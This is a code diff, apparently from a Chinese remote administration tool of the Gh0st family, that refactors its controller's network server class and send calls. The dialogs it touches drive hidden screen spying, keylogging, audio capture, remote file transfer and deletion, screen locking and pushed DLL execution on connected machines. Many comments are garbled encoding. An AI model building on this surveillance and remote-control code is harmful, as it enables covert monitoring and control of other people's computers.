std::string hmac = genHMAC(hash, m_superPass);
memcpy(resp + 64, hmac.c_str(), hmac.length());
resp[80] = 0;
m_iocpServer->OnClientPreSending(ContextObject, (LPBYTE)resp, sizeof(resp));
m_iocpServer->Send2Client(ContextObject, (LPBYTE)resp, sizeof(resp));
break;
}
case CMD_EXECUTE_DLL: // 请求DLL
@@ -1763,7 +1766,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
for (std::vector<DllInfo*>::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i){
DllInfo* dll = *i;
if (dll->Name == info->Name) {
return m_iocpServer->OnClientPreSending(ContextObject, dll->Data->Buf(), dll->Data->length());
return m_iocpServer->Send2Client(ContextObject, dll->Data->Buf(), dll->Data->length());
}
}
break;
@@ -1876,6 +1879,9 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
g_2015RemoteDlg->SendMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject);
break;
}
default: {
Mprintf("Receive unknown command '%s' [%d]: Len=%d\n", ContextObject->PeerName.c_str(), cmd, len);
}
}
}
@@ -1989,7 +1995,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) {
HeartbeatACK ack = { hb.Time };
BYTE buf[sizeof(HeartbeatACK) + 1] = { CMD_HEARTBEAT_ACK};
memcpy(buf + 1, &ack, sizeof(HeartbeatACK));
m_iocpServer->Send(ctx, buf, sizeof(buf));
m_iocpServer->Send2Client(ctx, buf, sizeof(buf));
}
CLock L(m_cs);
@@ -2013,7 +2019,7 @@ void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) {
memcpy(buf+1, &m_settings, sizeof(MasterSettings));
if (ctx) {
m_iocpServer->Send(ctx, buf, sizeof(buf));
m_iocpServer->Send2Client(ctx, buf, sizeof(buf));
}
else {
EnterCriticalSection(&m_cs);
@@ -2022,7 +2028,7 @@ void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) {
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(i);
if (!ContextObject->bLogin)
continue;
m_iocpServer->Send(ContextObject, buf, sizeof(buf));
m_iocpServer->Send2Client(ContextObject, buf, sizeof(buf));
}
LeaveCriticalSection(&m_cs);
}
@@ -2037,9 +2043,9 @@ VOID CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL,
char md5[33] = {};
memcpy(md5, (char*)ContextObject->InDeCompressedBuffer.GetBuffer(32), max(0,min(32, len-32)));
if (!buf->MD5().empty() && md5 != buf->MD5())
m_iocpServer->OnClientPreSending(ContextObject, buf->Buf(), buf->length(len<=20));
m_iocpServer->Send2Client(ContextObject, buf->Buf(), buf->length(len<=20));
else {
m_iocpServer->OnClientPreSending(ContextObject, buf->Buf(), 6 /* data not changed */);
m_iocpServer->Send2Client(ContextObject, buf->Buf(), 6 /* data not changed */);
}
}
}
@@ -2201,7 +2207,7 @@ void CMy2015RemoteDlg::OnMainProxy()
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
BYTE cmd[] = { COMMAND_PROXY };
m_iocpServer->OnClientPreSending(ContextObject, cmd, sizeof(cmd));
m_iocpServer->Send2Client(ContextObject, cmd, sizeof(cmd));
break;
}
LeaveCriticalSection(&m_cs);
@@ -2551,7 +2557,7 @@ void CMy2015RemoteDlg::OnDynamicSubMenu(UINT nID) {
Buffer* buf = m_DllList[menuIndex]->Data;
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
m_iocpServer->OnClientPreSending(ContextObject, buf->Buf(), 1 + sizeof(DllExecuteInfo));
m_iocpServer->Send2Client(ContextObject, buf->Buf(), 1 + sizeof(DllExecuteInfo));
}
LeaveCriticalSection(&m_cs);
}

View File

@@ -125,7 +125,7 @@ protected:
}
// <20><><EFBFBD><EFBFBD>
public:
CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent = NULL); // <20><>׼<EFBFBD><D7BC><EFBFBD><EFBFBD><ECBAAF>
CMy2015RemoteDlg(Server* iocpServer, CWnd* pParent = NULL); // <20><>׼<EFBFBD><D7BC><EFBFBD><EFBFBD><ECBAAF>
~CMy2015RemoteDlg();
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
enum { IDD = IDD_MY2015REMOTE_DIALOG };
@@ -193,7 +193,7 @@ public:
std::vector<DllInfo*> m_DllList;
NOTIFYICONDATA m_Nid;
HANDLE m_hExit;
IOCPServer* m_iocpServer;
Server* m_iocpServer;
CRITICAL_SECTION m_cs;
BOOL isClosed;
CMenu m_MainMenu;

View File

@@ -262,7 +262,6 @@
<ClInclude Include="BuildDlg.h" />
<ClInclude Include="Chat.h" />
<ClInclude Include="CPasswordDlg.h" />
<ClInclude Include="CpuUseage.h" />
<ClInclude Include="CTextDlg.h" />
<ClInclude Include="DateVerify.h" />
<ClInclude Include="DecryptDlg.h" />
@@ -275,6 +274,7 @@
<ClInclude Include="HideScreenSpyDlg.h" />
<ClInclude Include="InputDlg.h" />
<ClInclude Include="IOCPServer.h" />
<ClInclude Include="IOCPUDPServer.h" />
<ClInclude Include="KeyBoardDlg.h" />
<ClInclude Include="proxy\HPSocket.h" />
<ClInclude Include="proxy\HPTypeDef.h" />
@@ -285,6 +285,7 @@
<ClInclude Include="RegisterDlg.h" />
<ClInclude Include="Resource.h" />
<ClInclude Include="ScreenSpyDlg.h" />
<ClInclude Include="Server.h" />
<ClInclude Include="ServicesDlg.h" />
<ClInclude Include="SettingDlg.h" />
<ClInclude Include="ShellDlg.h" />
@@ -323,7 +324,6 @@
<ClCompile Include="BuildDlg.cpp" />
<ClCompile Include="Chat.cpp" />
<ClCompile Include="CPasswordDlg.cpp" />
<ClCompile Include="CpuUseage.cpp" />
<ClCompile Include="CTextDlg.cpp" />
<ClCompile Include="DecryptDlg.cpp" />
<ClCompile Include="EditDialog.cpp" />
@@ -335,6 +335,7 @@
<ClCompile Include="HideScreenSpyDlg.cpp" />
<ClCompile Include="InputDlg.cpp" />
<ClCompile Include="IOCPServer.cpp" />
<ClCompile Include="IOCPUDPServer.cpp" />
<ClCompile Include="KeyBoardDlg.cpp" />
<ClCompile Include="Loader.c">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>

View File

@@ -11,7 +11,6 @@
<ClCompile Include="BuildDlg.cpp" />
<ClCompile Include="Chat.cpp" />
<ClCompile Include="CPasswordDlg.cpp" />
<ClCompile Include="CpuUseage.cpp" />
<ClCompile Include="CTextDlg.cpp" />
<ClCompile Include="DecryptDlg.cpp" />
<ClCompile Include="EditDialog.cpp" />
@@ -49,6 +48,7 @@
<ClCompile Include="file\CFileListCtrl.cpp">
<Filter>file</Filter>
</ClCompile>
<ClCompile Include="IOCPUDPServer.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\..\client\Audio.h" />
@@ -64,7 +64,6 @@
<ClInclude Include="BuildDlg.h" />
<ClInclude Include="Chat.h" />
<ClInclude Include="CPasswordDlg.h" />
<ClInclude Include="CpuUseage.h" />
<ClInclude Include="CTextDlg.h" />
<ClInclude Include="DateVerify.h" />
<ClInclude Include="DecryptDlg.h" />
@@ -109,6 +108,8 @@
<ClInclude Include="file\CFileListCtrl.h">
<Filter>file</Filter>
</ClInclude>
<ClInclude Include="IOCPUDPServer.h" />
<ClInclude Include="Server.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="2015Remote.rc" />

View File

@@ -11,7 +11,7 @@
IMPLEMENT_DYNAMIC(CAudioDlg, CDialog)
CAudioDlg::CAudioDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
CAudioDlg::CAudioDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
: DialogBase(CAudioDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_AUDIO)
, m_bSend(FALSE)
{
@@ -56,7 +56,7 @@ BOOL CAudioDlg::OnInitDialog()
SetWindowText(strString);
BYTE bToken = COMMAND_NEXT;
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
//<2F><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD> <20>ж<EFBFBD>CheckBox
m_hWorkThread = CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL);
@@ -84,7 +84,7 @@ DWORD CAudioDlg::WorkThread(LPVOID lParam)
LPBYTE szBuffer = This->m_AudioObject.GetRecordBuffer(&dwBufferSize); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (szBuffer != NULL && dwBufferSize > 0)
This->m_iocpServer->OnClientPreSending(This->m_ContextObject, szBuffer, dwBufferSize); //û<><C3BB><EFBFBD><EFBFBD>Ϣͷ
This->m_iocpServer->Send2Client(This->m_ContextObject, szBuffer, dwBufferSize); //û<><C3BB><EFBFBD><EFBFBD>Ϣͷ
}
This->m_bThreadRun = FALSE;

View File

@@ -10,7 +10,7 @@ class CAudioDlg : public DialogBase
DECLARE_DYNAMIC(CAudioDlg)
public:
CAudioDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <20><>׼<EFBFBD><D7BC><EFBFBD><EFBFBD><ECBAAF>
CAudioDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <20><>׼<EFBFBD><D7BC><EFBFBD><EFBFBD><ECBAAF>
virtual ~CAudioDlg();
DWORD m_nTotalRecvBytes;

View File

@@ -13,7 +13,7 @@
// CChat dialog
CChat::CChat(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext)
CChat::CChat(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
: DialogBase(CChat::IDD, pParent, pIOCPServer, pContext, IDI_CHAT)
{
}
@@ -53,7 +53,7 @@ BOOL CChat::OnInitDialog()
m_editNewMsg.SetLimitText(4079);
// TODO: Add extra initialization here
BYTE bToken = COMMAND_NEXT_CHAT;
m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE));
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
@@ -89,7 +89,7 @@ void CChat::OnButtonSend()
return; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϢΪ<CFA2>ղ<EFBFBD><D5B2><EFBFBD><EFBFBD><EFBFBD>
}
m_editTip.ShowWindow(SW_HIDE);
m_iocpServer->Send(m_ContextObject, (LPBYTE)str, lstrlen(str) + sizeof(char));
m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)str, lstrlen(str) + sizeof(char));
SYSTEMTIME st;
GetLocalTime(&st);
char Text[5120] = { 0 };
@@ -171,11 +171,11 @@ void CChat::OnBnClickedButton_LOCK()
{
BYTE bToken = COMMAND_CHAT_SCREEN_LOCK;
m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE));
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
}
void CChat::OnBnClickedButton_UNLOCK()
{
BYTE bToken = COMMAND_CHAT_SCREEN_UNLOCK;
m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE));
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
}

View File

@@ -9,7 +9,7 @@ class CChat : public DialogBase
{
// Construction
public:
CChat(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
CChat(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
void OnReceiveComplete();
void OnReceive();

View File

@@ -1,55 +0,0 @@
#include "stdafx.h"
#include "CpuUseage.h"
//ϵͳ<CFB5><CDB3><EFBFBD>ܼ<EFBFBD><DCBC><EFBFBD><EFBFBD><EFBFBD>
CCpuUsage::CCpuUsage()
{
m_hQuery = NULL;
m_pCounterStruct = NULL;
}
CCpuUsage::~CCpuUsage()
{
PdhCloseQuery(m_hQuery); //<2F>رռ<D8B1><D5BC><EFBFBD><EFBFBD><EFBFBD>
if (m_pCounterStruct)
delete m_pCounterStruct;
}
BOOL CCpuUsage::Init()
{
if (ERROR_SUCCESS != PdhOpenQuery(NULL, 1, &m_hQuery)) //<2F>򿪼<EFBFBD><F2BFAABC><EFBFBD><EFBFBD><EFBFBD>
return FALSE;
m_pCounterStruct = (PPDHCOUNTERSTRUCT) new PDHCOUNTERSTRUCT;
//ͳ<>Ƹ<EFBFBD><C6B8><EFBFBD>Ȥ<EFBFBD><C8A4>ϵͳ<CFB5><CDB3>Ϣʱ<CFA2><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD><C8BD><EFBFBD>Ӧ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӽ<EFBFBD><D3BD><EFBFBD>
PDH_STATUS pdh_status = PdhAddCounter(m_hQuery, (LPCSTR)szCounterName,
(DWORD_PTR) m_pCounterStruct, &(m_pCounterStruct->hCounter));
if (ERROR_SUCCESS != pdh_status)
{
return FALSE;
}
return TRUE;
}
int CCpuUsage::GetUsage()
{
PDH_FMT_COUNTERVALUE pdhFormattedValue;
PdhCollectQueryData(m_hQuery);
//<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݻ<EFBFBD><DDBB>õ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ
if (ERROR_SUCCESS != PdhGetFormattedCounterValue(m_pCounterStruct->hCounter,
PDH_FMT_LONG,
NULL,
&pdhFormattedValue ))
{
return 0;
}
return pdhFormattedValue.longValue;
}

View File

@@ -1,34 +0,0 @@
#pragma once
#include <pdh.h>
#include <pdhmsg.h>
#pragma comment(lib,"PDH.lib")
#define MAX_RAW_VALUES 20
//process <20><>Ŀ<EFBFBD>µ<EFBFBD>% Processor Time<6D><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǹ<EFBFBD><C7B9>ڽ<EFBFBD><DABD><EFBFBD>CPUʹ<55>ʵ<EFBFBD>
const char szCounterName[] = "\\Processor(_Total)\\% Processor Time";
typedef struct _tag_PDHCounterStruct {
HCOUNTER hCounter;
int nNextIndex;
int nOldestIndex;
int nRawCount;
PDH_RAW_COUNTER a_RawValue[MAX_RAW_VALUES];
} PDHCOUNTERSTRUCT, *PPDHCOUNTERSTRUCT;
class CCpuUsage
{
public:
CCpuUsage();
virtual ~CCpuUsage();
BOOL Init();
int GetUsage();
protected:
PPDHCOUNTERSTRUCT m_pCounterStruct;
HQUERY m_hQuery;
};

View File

@@ -4,7 +4,7 @@
IMPLEMENT_DYNAMIC(DecryptDlg, CDialog)
DecryptDlg::DecryptDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
DecryptDlg::DecryptDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject)
: CDialogBase(DecryptDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_DECRYPT) {
}

View File

@@ -8,7 +8,7 @@ class DecryptDlg : public CDialogBase
DECLARE_DYNAMIC(DecryptDlg)
public:
DecryptDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT* ContextObject = NULL);
DecryptDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT* ContextObject = NULL);
virtual ~DecryptDlg();
VOID OnReceiveComplete();

View File

@@ -35,7 +35,7 @@ float GetScreenScalingFactor() {
return dpiX / 96.0f;
}
CFileManagerDlg::CFileManagerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
CFileManagerDlg::CFileManagerDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
: DialogBase(CFileManagerDlg::IDD, pParent, pIOCPServer, pContext, IDI_ICON_FATHER)
{
m_fScalingFactor = GetScreenScalingFactor();
@@ -1022,7 +1022,7 @@ void CFileManagerDlg::GetRemoteFileList(CString directory)
bPacket[0] = COMMAND_LIST_FILES;
memcpy(bPacket + 1, m_Remote_Path.GetBuffer(0), PacketSize - 1);
m_iocpServer->Send(m_ContextObject, bPacket, PacketSize);
m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize);
LocalFree(bPacket);
m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path);
@@ -1481,7 +1481,7 @@ BOOL CFileManagerDlg::SendDownloadJob()
bPacket[0] = COMMAND_DOWN_FILES;
// <20>ļ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
memcpy(bPacket + 1, file.GetBuffer(0), file.GetLength() + 1);
m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize);
m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
LocalFree(bPacket);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
@@ -1538,7 +1538,7 @@ BOOL CFileManagerDlg::SendUploadJob()
memcpy(bPacket + 5, &dwSizeLow, sizeof(DWORD));
memcpy(bPacket + 9, fileRemote.GetBuffer(0), fileRemote.GetLength() + 1);
m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize);
m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
LocalFree(bPacket);
@@ -1569,7 +1569,7 @@ BOOL CFileManagerDlg::SendDeleteJob()
}
// <20>ļ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1);
m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize);
m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
LocalFree(bPacket);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
@@ -1749,7 +1749,7 @@ void CFileManagerDlg::CreateLocalRecvFile()
else
{
// <20><><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>token,<2C><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƫ<EFBFBD><C6AB>
m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken));
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
}
}
@@ -1822,7 +1822,7 @@ void CFileManagerDlg::WriteLocalRecvFile()
dwOffsetLow += dwBytesWrite;
memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken));
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
}
}
@@ -1896,19 +1896,19 @@ void CFileManagerDlg::EndRemoteDeleteFile()
void CFileManagerDlg::SendException()
{
BYTE bBuff = COMMAND_EXCEPTION;
m_iocpServer->Send(m_ContextObject, &bBuff, 1);
m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
}
void CFileManagerDlg::SendContinue()
{
BYTE bBuff = COMMAND_CONTINUE;
m_iocpServer->Send(m_ContextObject, &bBuff, 1);
m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
}
void CFileManagerDlg::SendStop()
{
BYTE bBuff = COMMAND_STOP;
m_iocpServer->Send(m_ContextObject, &bBuff, 1);
m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
}
void CFileManagerDlg::ShowProgress()
@@ -2068,7 +2068,7 @@ void CFileManagerDlg::SendTransferMode()
BYTE bToken[5];
bToken[0] = COMMAND_SET_TRANSFER_MODE;
memcpy(bToken + 1, &m_nTransferMode, sizeof(m_nTransferMode));
m_iocpServer->Send(m_ContextObject, (unsigned char *)&bToken, sizeof(bToken));
m_iocpServer->Send2Client(m_ContextObject, (unsigned char *)&bToken, sizeof(bToken));
}
void CFileManagerDlg::SendFileData()
@@ -2113,7 +2113,7 @@ void CFileManagerDlg::SendFileData()
if (nNumberOfBytesRead > 0)
{
int nPacketSize = nNumberOfBytesRead + nHeadLength;
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize);
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
}
LocalFree(lpBuffer);
}
@@ -2192,7 +2192,7 @@ void CFileManagerDlg::OnRemoteNewfolder()
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, file.GetLength() + 2);
lpBuffer[0] = COMMAND_CREATE_FOLDER;
memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1);
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize);
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
LocalFree(lpBuffer);
}
}
@@ -2259,7 +2259,7 @@ void CFileManagerDlg::OnEndlabeleditListRemote(NMHDR* pNMHDR, LRESULT* pResult)
memcpy(lpBuffer + 1, strExistingFileName.GetBuffer(0), strExistingFileName.GetLength() + 1);
memcpy(lpBuffer + 2 + strExistingFileName.GetLength(),
strNewFileName.GetBuffer(0), strNewFileName.GetLength() + 1);
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize);
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
LocalFree(lpBuffer);
}
*pResult = 1;
@@ -2328,7 +2328,7 @@ void CFileManagerDlg::OnRemoteOpenShow()
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
lpPacket[0] = COMMAND_OPEN_FILE_SHOW;
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
LocalFree(lpPacket);
}
@@ -2342,7 +2342,7 @@ void CFileManagerDlg::OnRemoteOpenHide()
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
lpPacket[0] = COMMAND_OPEN_FILE_HIDE;
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
LocalFree(lpPacket);
}

View File

@@ -26,8 +26,6 @@ typedef struct
#define m_Socket sClientSocket
#define Send OnClientPreSending
#define MAKEINT64(low, high) ((unsigned __int64)(((DWORD)(low)) | ((unsigned __int64)((DWORD)(high))) << 32))
#define MAX_WRITE_RETRY 15 // <20><><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
@@ -105,7 +103,7 @@ public:
void FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen);
CStatusBar m_wndStatusBar;
CFileManagerDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
CFileManagerDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
~CFileManagerDlg()
{

View File

@@ -37,7 +37,7 @@ enum {
IMPLEMENT_DYNAMIC(CHideScreenSpyDlg, CDialog)
CHideScreenSpyDlg::CHideScreenSpyDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext)
CHideScreenSpyDlg::CHideScreenSpyDlg(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
: DialogBase(CHideScreenSpyDlg::IDD, pParent, pIOCPServer, pContext, IDI_SCREENSYP)
{
m_bIsFirst = true; // 如果是第一次打开对话框,显示提示等待信息

View File

@@ -29,7 +29,7 @@ class CHideScreenSpyDlg : public DialogBase {
enum { IDD = IDD_SCREEN };
public:
CHideScreenSpyDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
CHideScreenSpyDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
virtual ~CHideScreenSpyDlg();
VOID SendNext(void) {

View File

@@ -5,35 +5,6 @@
#include <iostream>
#include <ws2tcpip.h>
// ZLIB ѹ<><D1B9><EFBFBD><EFBFBD>
#include "zlib/zlib.h"
#if USING_LZ4
#include "lz4/lz4.h"
#pragma comment(lib, "lz4/lz4.lib")
#define C_FAILED(p) (0 == (p))
#define C_SUCCESS(p) (!C_FAILED(p))
#define Mcompress(dest, destLen, source, sourceLen) LZ4_compress_default((const char*)source, (char*)dest, sourceLen, *(destLen))
#define Muncompress(dest, destLen, source, sourceLen) LZ4_decompress_safe((const char*)source, (char*)dest, sourceLen, *(destLen))
#else // ZSTD
#include "zstd/zstd.h"
#ifdef _WIN64
#pragma comment(lib, "zstd/zstd_x64.lib")
#else
#pragma comment(lib, "zstd/zstd.lib")
#endif
#define C_FAILED(p) ZSTD_isError(p)
#define C_SUCCESS(p) (!C_FAILED(p))
#define ZSTD_CLEVEL 5
#if USING_CTX
#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress2(m_Cctx, dest, *(destLen), source, sourceLen)
#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen)
#else
#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
#endif
#endif
// <20><><EFBFBD><EFBFBD> socket <20><>ȡ<EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD>IP<49><50>ַ.
std::string GetPeerName(SOCKET sock) {
sockaddr_in ClientAddr = {};
@@ -306,7 +277,6 @@ BOOL IOCPServer::InitializeIOCP(VOID)
m_ulThreadPoolMax = SystemInfo.dwNumberOfProcessors * 2;
m_ulCPULowThreadsHold = 10;
m_ulCPUHighThreadsHold = 75;
m_cpu.Init();
ULONG ulWorkThreadCount = m_ulThreadPoolMax;

View File

@@ -3,486 +3,121 @@
#include "StdAfx.h"
#include <WinSock2.h>
#pragma comment(lib,"ws2_32.lib")
#include "CpuUseage.h"
#include "Buffer.h"
#define XXH_INLINE_ALL
#include "xxhash.h"
#include "Server.h"
#if USING_CTX
#include "zstd/zstd.h"
#endif
#include <Mstcpip.h>
#include "common/header.h"
#include "common/encrypt.h"
#define PACKET_LENGTH 0x2000
#define NC_CLIENT_CONNECT 0x0001
#define NC_RECEIVE 0x0004
#define NC_RECEIVE_COMPLETE 0x0005 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
std::string GetPeerName(SOCKET sock);
std::string GetRemoteIP(SOCKET sock);
enum
{
ONLINELIST_IP = 0, // IP<49><50><EFBFBD><EFBFBD>˳<EFBFBD><CBB3>
ONLINELIST_ADDR, // <20><>ַ
ONLINELIST_LOCATION, // <20><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
ONLINELIST_COMPUTER_NAME, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><>ע
ONLINELIST_OS, // <20><><EFBFBD><EFBFBD>ϵͳ
ONLINELIST_CPU, // CPU
ONLINELIST_VIDEO, // <20><><EFBFBD><EFBFBD>ͷ(<28><><EFBFBD><EFBFBD>)
ONLINELIST_PING, // PING(<28>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
ONLINELIST_VERSION, // <20><EFBFBD><E6B1BE>Ϣ
ONLINELIST_INSTALLTIME, // <20><>װʱ<D7B0><CAB1>
ONLINELIST_LOGINTIME, // <20><EFBFBD><EEB6AF><EFBFBD><EFBFBD>
ONLINELIST_CLIENTTYPE, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ONLINELIST_PATH, // <20>ļ<EFBFBD>·<EFBFBD><C2B7>
ONLINELIST_MAX,
};
enum {
PARSER_WINOS = -2,
PARSER_FAILED = -1, // <20><><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>
PARSER_NEEDMORE = 0, // <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
};
typedef struct PR {
int Result;
bool IsFailed() const {
return PARSER_FAILED == Result;
}
bool IsNeedMore() const {
return PARSER_NEEDMORE == Result;
}
bool IsWinOSLogin() const {
return PARSER_WINOS == Result;
}
}PR;
enum {
COMPRESS_UNKNOWN = -2, // δ֪ѹ<D6AA><D1B9><EFBFBD>
